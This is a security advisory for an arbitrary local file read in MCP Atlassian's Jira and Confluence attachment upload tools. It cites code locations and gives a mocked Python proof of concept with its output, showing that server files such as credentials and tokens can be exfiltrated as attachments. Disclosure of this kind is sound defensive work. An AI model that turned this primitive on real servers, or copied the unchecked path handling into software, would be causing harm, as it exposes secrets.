CVE-2026-77253: MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files

Summary

MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.

Details

The Confluence MCP upload tool accepts a filepath described as an absolute or relative server path in src/mcpatlassian/servers/confluence.py:1290-1316 and forwards it directly to confluencefetcher.uploadattachment() in src/mcpatlassian/servers/confluence.py:1356-1363. The multi-upload variant accepts comma-separated local paths in src/mcpatlassian/servers/confluence.py:1372-1449.

The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to validatesafepath() or any allowed directory check for uploads in src/mcpatlassian/confluence/attachments.py:61-79; the direct upload path opens the file with open(filepath, "rb") in src/mcpatlassian/confluence/attachments.py:467-490.

The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in src/mcpatlassian/jira/attachments.py:371-388. Jira issue update also accepts an attachments field as JSON or CSV local paths in src/mcpatlassian/servers/jira.py:1609-1662, forwards it through update fields in src/mcpatlassian/servers/jira.py:1668-1676, and IssuesMixin.updateissue() calls self.uploadattachments(issuekey, kwargs["attachments"]) in src/mcpatlassian/jira/issues.py:1132-1137.

The tools are decorated with @checkwriteaccess, so READONLYMODE=true blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.

PoC

The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.

bash uv run python - <<'PY' import json, tempfile from pathlib import Path from types import SimpleNamespace from mcpatlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin from mcpatlassian.confluence.config import ConfluenceConfig from mcpatlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin from mcpatlassian.jira.config import JiraConfig

class FakeResponse: def raiseforstatus(self): pass def json(self): return {'results': [{'id': 'att-poc'}]}

class FakeConfluenceSession: def init(self): self.uploaded = None def put(self, url, headers=None, files=None, data=None): filetuple = files['file'] self.uploaded = { 'url': url, 'filename': filetuple[0], 'content': filetuple[1].read().decode(), } filetuple[1].close() return FakeResponse()

def confluenceprobe(secretpath): fetcher = object.new(ConfluenceAttachmentsMixin) session = FakeConfluenceSession() fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', authtype='pat', personaltoken='token') fetcher.confluence = SimpleNamespace(session=session) result = fetcher.uploadattachment('123456', str(secretpath)) return {'resultsuccess': result.get('success'), 'uploaded': session.uploaded}

class FakeJiraApi: def init(self): self.uploaded = None def addattachment(self, issuekey, filename): self.uploaded = { 'issuekey': issuekey, 'filename': Path(filename).name, 'content': Path(filename).readtext(), } return {'id': 'att-poc'}

def jiraprobe(secretpath): fetcher = object.new(JiraAttachmentsMixin) fake = FakeJiraApi() fetcher.config = JiraConfig(url='https://jira.example.test', authtype='pat', personaltoken='token') fetcher.jira = fake result = fetcher.uploadattachment('SAFE-1', str(secretpath)) return {'resultsuccess': result.get('success'), 'uploaded': fake.uploaded}

with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp: secretpath = Path(tmp) / 'server-secret.txt' secretpath.writetext('SERVERLOCALSECRETMARKER') print(json.dumps({ 'confluence': confluenceprobe(secretpath), 'jira': jiraprobe(secretpath), }, indent=2, sortkeys=True)) PY

Observed output from this environment:

json { "confluence": { "resultsuccess": true, "uploaded": { "content": "SERVERLOCALSECRETMARKER", "filename": "server-secret.txt", "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment" } }, "jira": { "resultsuccess": true, "uploaded": { "content": "SERVERLOCALSECRETMARKER", "filename": "server-secret.txt", "issuekey": "SAFE-1" } } }

The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.

Impact

A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.